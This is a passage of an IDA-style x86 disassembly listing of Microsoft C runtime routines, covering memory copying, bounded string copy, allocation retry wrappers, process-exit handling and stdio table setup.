		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_4115A8:				; CODE XREF: sub_411470:loc_4114F4j
					; DATA XREF: sub_411470+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4115B0:				; CODE XREF: sub_411470:loc_4114F4j
					; DATA XREF: sub_411470+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4115B8:				; CODE XREF: sub_411470:loc_4114F4j
					; DATA XREF: sub_411470+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4115C0:				; CODE XREF: sub_411470:loc_4114F4j
					; DATA XREF: sub_411470+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4115C8:				; CODE XREF: sub_411470:loc_4114F4j
					; DATA XREF: sub_411470+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4115DB:				; CODE XREF: sub_411470:loc_4114F4j
					; DATA XREF: sub_411470:off_411578o
		jmp	ds:off_4115E4[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4115E4	dd offset loc_4115F4	; DATA XREF: sub_411470+5Cr
					; sub_411470+BAr ...
		dd offset loc_4115FC
		dd offset loc_411608
		dd offset loc_41161C
; ---------------------------------------------------------------------------

loc_4115F4:				; CODE XREF: sub_411470+5Cj
					; sub_411470+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4115FC:				; CODE XREF: sub_411470+5Cj
					; sub_411470+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_411608:				; CODE XREF: sub_411470+5Cj
					; sub_411470+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41161C:				; CODE XREF: sub_411470+5Cj
					; sub_411470+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_411634:				; CODE XREF: sub_411470+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_411668
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41165C
		std
		rep movsd
		cld
		jmp	ds:off_411780[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41165C:				; CODE XREF: sub_411470+1DDj
					; sub_411470+238j ...
		neg	ecx
		jmp	ds:off_411730[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_411668:				; CODE XREF: sub_411470+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_411680
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_411680+4[eax*4]
; ---------------------------------------------------------------------------

loc_411680:				; CODE XREF: sub_411470+202j
					; DATA XREF: sub_411470+209r
		jmp	ds:off_411780[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		xchg	eax, esp
		push	ss
		inc	ecx
		add	[eax-1FFFBEEAh], bh
		push	ss
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_41165C
		std
		rep movsd
		cld
		jmp	ds:off_411780[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41165C
		std
		rep movsd
		cld
		jmp	ds:off_411780[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41165C
		std
		rep movsd
		cld
		jmp	ds:off_411780[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411734
		dd offset loc_41173C
		dd offset loc_411744
		dd offset loc_41174C
		dd offset loc_411754
		dd offset loc_41175C
		dd offset loc_411764
off_411730	dd offset loc_411777	; DATA XREF: sub_411470+1EEr
; ---------------------------------------------------------------------------

loc_411734:				; DATA XREF: sub_411470+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41173C:				; DATA XREF: sub_411470+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_411744:				; DATA XREF: sub_411470+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41174C:				; DATA XREF: sub_411470+2B0o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_411754:				; DATA XREF: sub_411470+2B4o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41175C:				; DATA XREF: sub_411470+2B8o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_411764:				; DATA XREF: sub_411470+2BCo
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_411777:				; CODE XREF: sub_411470+1EEj
					; DATA XREF: sub_411470:off_411730o
		jmp	ds:off_411780[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_411780	dd offset loc_411790	; DATA XREF: sub_411470+1E3r
					; sub_411470:loc_411680r ...
		dd offset loc_411798
		dd offset loc_4117A8
		dd offset loc_4117BC
; ---------------------------------------------------------------------------

loc_411790:				; CODE XREF: sub_411470+1E3j
					; sub_411470:loc_411680j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_411798:				; CODE XREF: sub_411470+1E3j
					; sub_411470:loc_411680j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4117A8:				; CODE XREF: sub_411470+1E3j
					; sub_411470:loc_411680j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4117BC:				; CODE XREF: sub_411470+1E3j
					; sub_411470:loc_411680j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_411470	endp


; =============== S U B	R O U T	I N E =======================================



sub_4117D5	proc near		; CODE XREF: sub_40C7DB+31p
					; sub_40C841+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		push	esi
		push	edi
		jz	short loc_4117EA
		mov	edi, [esp+0Ch+arg_4]
		cmp	edi, ebx
		ja	short loc_411805

loc_4117EA:				; CODE XREF: sub_4117D5+Bj
					; sub_4117D5+3Aj
		call	sub_40F7D4
		push	16h
		pop	esi
		mov	[eax], esi

loc_4117F4:				; CODE XREF: sub_4117D5+5Dj
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CB08
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_411836
; ---------------------------------------------------------------------------

loc_411805:				; CODE XREF: sub_4117D5+13j
		mov	esi, [esp+0Ch+arg_8]
		cmp	esi, ebx
		jnz	short loc_411811
		mov	[ecx], bl
		jmp	short loc_4117EA
; ---------------------------------------------------------------------------

loc_411811:				; CODE XREF: sub_4117D5+36j
		mov	edx, ecx

loc_411813:				; CODE XREF: sub_4117D5+49j
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		inc	esi
		cmp	al, bl
		jz	short loc_411820
		dec	edi
		jnz	short loc_411813

loc_411820:				; CODE XREF: sub_4117D5+46j
		cmp	edi, ebx
		jnz	short loc_411834
		mov	[ecx], bl
		call	sub_40F7D4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_4117F4
; ---------------------------------------------------------------------------

loc_411834:				; CODE XREF: sub_4117D5+4Dj
		xor	eax, eax

loc_411836:				; CODE XREF: sub_4117D5+2Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4117D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41183A	proc near		; CODE XREF: sub_40EC6A+3Bp
					; sub_40F934+48p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		xor	esi, esi

loc_41183E:				; CODE XREF: sub_41183A+39j
		push	[esp+8+arg_0]
		call	sub_40D437
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_411875
		cmp	dword_425FF0, eax
		jbe	short loc_411875
		push	esi
		call	ds:off_41E0E0
		lea	eax, [esi+3E8h]
		cmp	eax, dword_425FF0
		jbe	short loc_41186E
		or	eax, 0FFFFFFFFh

loc_41186E:				; CODE XREF: sub_41183A+2Fj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_41183E

loc_411875:				; CODE XREF: sub_41183A+12j
					; sub_41183A+1Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41183A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41187A	proc near		; CODE XREF: sub_40C985+5p
					; sub_40F31B+30p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		xor	esi, esi

loc_41187E:				; CODE XREF: sub_41187A+41j
		push	0
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_417602
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_4118BD
		cmp	dword_425FF0, eax
		jbe	short loc_4118BD
		push	esi
		call	ds:off_41E0E0
		lea	eax, [esi+3E8h]
		cmp	eax, dword_425FF0
		jbe	short loc_4118B6
		or	eax, 0FFFFFFFFh

loc_4118B6:				; CODE XREF: sub_41187A+37j
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_41187E

loc_4118BD:				; CODE XREF: sub_41187A+1Aj
					; sub_41187A+22j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41187A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4118C2	proc near		; CODE XREF: sub_40C8D8+58p
					; sub_40C8D8+6Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		xor	esi, esi

loc_4118C6:				; CODE XREF: sub_4118C2+44j
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_417720
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jnz	short loc_411908
		cmp	[esp+8+arg_4], eax
		jz	short loc_411908
		cmp	dword_425FF0, eax
		jbe	short loc_411908
		push	esi
		call	ds:off_41E0E0
		lea	eax, [esi+3E8h]
		cmp	eax, dword_425FF0
		jbe	short loc_411901
		or	eax, 0FFFFFFFFh

loc_411901:				; CODE XREF: sub_4118C2+3Aj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_4118C6

loc_411908:				; CODE XREF: sub_4118C2+17j
					; sub_4118C2+1Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4118C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41190D	proc near		; CODE XREF: sub_4129E5+40p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		xor	esi, esi

loc_411911:				; CODE XREF: sub_41190D+49j
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_41793B
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_411958
		cmp	[esp+8+arg_8], eax
		jz	short loc_411958
		cmp	dword_425FF0, eax
		jbe	short loc_411958
		push	esi
		call	ds:off_41E0E0
		lea	eax, [esi+3E8h]
		cmp	eax, dword_425FF0
		jbe	short loc_411951
		or	eax, 0FFFFFFFFh

loc_411951:				; CODE XREF: sub_41190D+3Fj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_411911

loc_411958:				; CODE XREF: sub_41190D+1Cj
					; sub_41190D+22j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41190D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41195D	proc near		; CODE XREF: .text:0040E0D9p
					; .text:0040E0FFp ...

arg_0		= dword	ptr  4

		call	sub_413861
		push	[esp+arg_0]
		call	sub_4136C1
		push	off_423930
		call	sub_40F194
		push	0FFh
		call	eax
		add	esp, 0Ch
		retn
sub_41195D	endp


; =============== S U B	R O U T	I N E =======================================



sub_411981	proc near		; CODE XREF: sub_4119A7+4p

arg_0		= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	ds:dword_41E0CC	; GetModuleHandleA
		test	eax, eax
		jz	short locret_4119A6
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	ds:off_41E0D4
		test	eax, eax
		jz	short locret_4119A6
		push	[esp+arg_0]
		call	eax

locret_4119A6:				; CODE XREF: sub_411981+Dj
					; sub_411981+1Dj
		retn
sub_411981	endp


; =============== S U B	R O U T	I N E =======================================



sub_4119A7	proc near		; CODE XREF: sub_40D437+34p
					; sub_40DF6D+1Cp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_411981
		pop	ecx
		push	[esp+arg_0]
		call	ds:off_41E0B0
		int	3		; Trap to Debugger
sub_4119A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4119BC	proc near		; CODE XREF: sub_40C9B4+Cp
		push	8
		call	sub_40F9F7
		pop	ecx
		retn
sub_4119BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4119C5	proc near		; CODE XREF: sub_40C9EAp
		push	8
		call	sub_40F91F
		pop	ecx
		retn
sub_4119C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4119CE	proc near		; CODE XREF: sub_411B0B+78p
					; sub_411B0B+88p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		jmp	short loc_4119DE
; ---------------------------------------------------------------------------

loc_4119D3:				; CODE XREF: sub_4119CE+14j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4119DB
		call	eax

loc_4119DB:				; CODE XREF: sub_4119CE+9j
		add	esi, 4

loc_4119DE:				; CODE XREF: sub_4119CE+3j
		cmp	esi, [esp+4+arg_0]
		jb	short loc_4119D3
		pop	esi
		retn
sub_4119CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4119E6	proc near		; CODE XREF: sub_411A79+32p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax
		jmp	short loc_4119FE
; ---------------------------------------------------------------------------

loc_4119EF:				; CODE XREF: sub_4119E6+1Cj
		test	eax, eax
		jnz	short loc_411A04
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_4119FB
		call	ecx

loc_4119FB:				; CODE XREF: sub_4119E6+11j
		add	esi, 4

loc_4119FE:				; CODE XREF: sub_4119E6+7j
		cmp	esi, [esp+4+arg_4]
		jb	short loc_4119EF

loc_411A04:				; CODE XREF: sub_4119E6+Bj
		pop	esi
		retn
sub_4119E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_411A06	proc near		; CODE XREF: sub_40FA28+12p
					; sub_416874+27p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jnz	short loc_411A2E

loc_411A11:				; CODE XREF: sub_411A06+2Fj
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_411A2E:				; CODE XREF: sub_411A06+9j
		mov	eax, dword_425FF8
		cmp	eax, esi
		jz	short loc_411A11
		mov	[ecx], eax
		xor	eax, eax
		pop	esi
		retn
sub_411A06	endp


; =============== S U B	R O U T	I N E =======================================



sub_411A3D	proc near		; CODE XREF: sub_40FA28+2Dp
					; sub_4190F4+11Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_411A65

loc_411A48:				; CODE XREF: sub_411A3D+2Ej
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_411A65:				; CODE XREF: sub_411A3D+9j
		cmp	dword_425FF8, esi
		jz	short loc_411A48
		mov	ecx, dword_426004
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
sub_411A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_411A79	proc near		; CODE XREF: .text:0040E117p

arg_0		= dword	ptr  4

		cmp	ds:off_41FD6C, 0
		jz	short loc_411A9C
		push	offset off_41FD6C
		call	sub_4169B2
		test	eax, eax
		pop	ecx
		jz	short loc_411A9C
		push	[esp+arg_0]
		call	ds:off_41FD6C
		pop	ecx

loc_411A9C:				; CODE XREF: sub_411A79+7j
					; sub_411A79+16j
		call	sub_4172FE
		push	offset dword_41E2D8
		push	offset dword_41E2BC
		call	sub_4119E6
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short locret_411B0A
		push	esi
		push	edi
		push	offset sub_414DC8
		call	sub_40C9F0
		mov	esi, offset dword_41E298
		mov	eax, esi
		mov	edi, offset dword_41E2B8
		cmp	eax, edi
		pop	ecx
		jnb	short loc_411AE2

loc_411AD3:				; CODE XREF: sub_411A79+67j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411ADB
		call	eax

loc_411ADB:				; CODE XREF: sub_411A79+5Ej
		add	esi, 4
		cmp	esi, edi
		jb	short loc_411AD3

loc_411AE2:				; CODE XREF: sub_411A79+58j
		cmp	dword_434D38, 0
		pop	edi
		pop	esi
		jz	short loc_411B08
		push	offset dword_434D38
		call	sub_4169B2
		test	eax, eax
		pop	ecx
		jz	short loc_411B08
		push	0
		push	2
		push	0
		call	dword_434D38

loc_411B08:				; CODE XREF: sub_411A79+72j
					; sub_411A79+81j
		xor	eax, eax

locret_411B0A:				; CODE XREF: sub_411A79+3Bj
		retn
sub_411A79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B0B	proc near		; CODE XREF: sub_411BD9+8p
					; sub_411BEA+8p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00411BD3 SIZE 00000006 BYTES

		push	0Ch
		push	offset dword_421AD0
		call	__SEH_prolog4
		push	8
		call	sub_40F9F7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		xor	esi, esi
		inc	esi
		cmp	dword_426038, esi
		jz	short loc_411B99
		mov	dword_426034, esi
		mov	al, byte ptr [ebp+arg_8]
		mov	byte_426030, al
		cmp	[ebp+arg_4], 0
		jnz	short loc_411B89
		push	dword_434D30
		call	sub_40F194
		mov	edi, eax
		push	dword_434D2C
		call	sub_40F194
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		test	edi, edi
		jz	short loc_411B79

loc_411B63:				; CODE XREF: sub_411B0B+68j
					; sub_411B0B+6Cj
		sub	[ebp+var_1C], 4
		cmp	[ebp+var_1C], edi
		jb	short loc_411B79
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_411B63
		call	eax
		jmp	short loc_411B63
; ---------------------------------------------------------------------------

loc_411B79:				; CODE XREF: sub_411B0B+56j
					; sub_411B0B+5Fj
		push	offset dword_41E2E8
		mov	eax, offset dword_41E2DC
		call	sub_4119CE
		pop	ecx

loc_411B89:				; CODE XREF: sub_411B0B+35j
		push	offset dword_41E2F4
		mov	eax, offset dword_41E2EC
		call	sub_4119CE
		pop	ecx

loc_411B99:				; CODE XREF: sub_411B0B+21j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_411BC4
		cmp	[ebp+arg_8], 0
		jnz	short loc_411BD3
		mov	dword_426038, esi
		push	8
		call	sub_40F91F
		pop	ecx
		push	[ebp+arg_0]
		call	sub_4119A7
		xor	esi, esi
		inc	esi
sub_411B0B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_411BC4	proc near		; CODE XREF: sub_411B0B+95p
		cmp	dword ptr [ebp+10h], 0
		jz	short locret_411BD2
		push	8
		call	sub_40F91F
		pop	ecx

locret_411BD2:				; CODE XREF: sub_411BC4+4j
		retn
sub_411BC4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_411B0B

loc_411BD3:				; CODE XREF: sub_411B0B+9Ej
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_411B0B

; =============== S U B	R O U T	I N E =======================================



sub_411BD9	proc near		; CODE XREF: .text:0040E153p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_411B0B
		add	esp, 0Ch
		retn
sub_411BD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_411BEA	proc near		; CODE XREF: .text:0040E183p
					; sub_4179DC+D9p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_411B0B
		add	esp, 0Ch
		retn
sub_411BEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_411BFB	proc near		; CODE XREF: .text:loc_40E158p
		push	1
		push	0
		push	0
		call	sub_411B0B
		add	esp, 0Ch
		retn
sub_411BFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_411C0A	proc near		; CODE XREF: .text:loc_40E188p
		push	1
		push	1
		push	0
		call	sub_411B0B
		add	esp, 0Ch
		retn
sub_411C0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_411C19	proc near		; CODE XREF: sub_40F4D7+C4p
		push	esi
		call	sub_40F18B
		mov	esi, eax
		push	esi
		call	sub_411CDD
		push	esi
		call	sub_41685A
		push	esi
		call	sub_40CA02
		push	esi
		call	sub_417B96
		push	esi
		call	sub_417B8C
		push	esi
		call	sub_417982
		push	esi
		call	nullsub_293
		push	esi
		call	sub_415C3E
		push	offset sub_411BEA
		call	sub_40F128
		add	esp, 24h
		mov	off_423930, eax
		pop	esi
		retn
sub_411C19	endp


; =============== S U B	R O U T	I N E =======================================



sub_411C65	proc near		; CODE XREF: sub_40CA0C+CEp
					; sub_40CB08+18p ...
		and	dword_434D24, 0
		retn
sub_411C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C6D	proc near		; CODE XREF: sub_40CBBC+7p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421AF0
		call	__SEH_prolog4
		push	0Eh
		call	sub_40F9F7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_411CBE
		mov	eax, dword_426040
		mov	edx, offset dword_42603C

loc_411C99:				; CODE XREF: sub_411C6D+65j
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_411CB1
		cmp	[eax], ecx
		jnz	short loc_411CD0
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		push	eax
		call	sub_40D35A
		pop	ecx

loc_411CB1:				; CODE XREF: sub_411C6D+31j
		push	dword ptr [esi+4]
		call	sub_40D35A
		pop	ecx
		and	dword ptr [esi+4], 0

loc_411CBE:				; CODE XREF: sub_411C6D+20j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_411CD4
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_411CD0:				; CODE XREF: sub_411C6D+35j
		mov	edx, eax
		jmp	short loc_411C99
sub_411C6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_411CD4	proc near		; CODE XREF: sub_411C6D+58p
					; DATA XREF: r69pu5ti:00421B08o
		push	0Eh
		call	sub_40F91F
		pop	ecx
		retn
sub_411CD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_411CDD	proc near		; CODE XREF: sub_411C19+9p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_426044, eax
		retn
sub_411CDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_411CE7	proc near		; CODE XREF: .text:0040CC25p
					; sub_40D437+8Cp ...

arg_0		= dword	ptr  4

		push	dword_426044
		call	sub_40F194
		test	eax, eax
		pop	ecx
		jz	short loc_411D06
		push	[esp+arg_0]
		call	eax ; sub_41D5F3
		test	eax, eax
		pop	ecx
		jz	short loc_411D06
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_411D06:				; CODE XREF: sub_411CE7+Ej
					; sub_411CE7+19j
		xor	eax, eax
		retn
sub_411CE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_411D09	proc near		; CODE XREF: sub_4107D6+76p
					; sub_4107D6+82p ...
		mov	eax, offset off_423938
		retn
sub_411D09	endp


; =============== S U B	R O U T	I N E =======================================



sub_411D0F	proc near		; DATA XREF: r69pu5ti:0041E2C0o
		mov	eax, dword_434D20
		test	eax, eax
		push	esi
		push	14h
		pop	esi
		jnz	short loc_411D23
		mov	eax, 200h
		jmp	short loc_411D29
; ---------------------------------------------------------------------------

loc_411D23:				; CODE XREF: sub_411D0F+Bj
		cmp	eax, esi
		jge	short loc_411D2E
		mov	eax, esi

loc_411D29:				; CODE XREF: sub_411D0F+12j
		mov	dword_434D20, eax

loc_411D2E:				; CODE XREF: sub_411D0F+16j
		push	4
		push	eax
		call	sub_41187A
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_433D00, eax
		jnz	short loc_411D5F
		push	4
		push	esi
		mov	dword_434D20, esi
		call	sub_41187A
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_433D00, eax
		jnz	short loc_411D5F
		push	1Ah
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_411D5F:				; CODE XREF: sub_411D0F+30j
					; sub_411D0F+49j
		xor	edx, edx
		mov	ecx, offset off_423938
		jmp	short loc_411D6D
; ---------------------------------------------------------------------------

loc_411D68:				; CODE XREF: sub_411D0F+6Dj
		mov	eax, dword_433D00

loc_411D6D:				; CODE XREF: sub_411D0F+57j
		mov	[edx+eax], ecx
		add	ecx, 20h
		add	edx, 4
		cmp	ecx, offset dword_423BB8
		jl	short loc_411D68
		push	0FFFFFFFEh
		pop	esi
		xor	edx, edx
		mov	ecx, offset dword_423948
		push	edi

loc_411D89:				; CODE XREF: sub_411D0F+AAj
		mov	edi, edx
		and	edi, 1Fh
		imul	edi, 28h
		mov	eax, edx
		sar	eax, 5
		mov	eax, dword_433C00[eax*4]
		mov	eax, [edi+eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411DAD
		cmp	eax, esi
		jz	short loc_411DAD
		test	eax, eax
		jnz	short loc_411DAF

loc_411DAD:				; CODE XREF: sub_411D0F+94j
					; sub_411D0F+98j
		mov	[ecx], esi

loc_411DAF:				; CODE XREF: sub_411D0F+9Cj
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4239A8
		jl	short loc_411D89
		pop	edi
		xor	eax, eax
		pop	esi
		retn
sub_411D0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_411DC0	proc near		; DATA XREF: r69pu5ti:0041E2E0o
		call	sub_4129DC
		cmp	byte_426030, 0
		jz	short loc_411DD3
		call	sub_417BA0

loc_411DD3:				; CODE XREF: sub_411DC0+Cj
		push	dword_433D00
		call	sub_40D35A
		pop	ecx
		retn
sub_411DC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_411DE0	proc near		; CODE XREF: sub_40CF9A+4Fp
					; sub_40D257+50p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_423938
		cmp	eax, ecx
		jb	short loc_411E04
		cmp	eax, offset dword_423B98
		ja	short loc_411E04
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_40F9F7
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_411E04:				; CODE XREF: sub_411DE0+Bj
					; sub_411DE0+12j
		add	eax, 20h
		push	eax
		call	ds:dword_41E150	; RtlEnterCriticalSection
		retn
sub_411DE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E0F	proc near		; CODE XREF: sub_412126+66p
					; sub_412902+46p

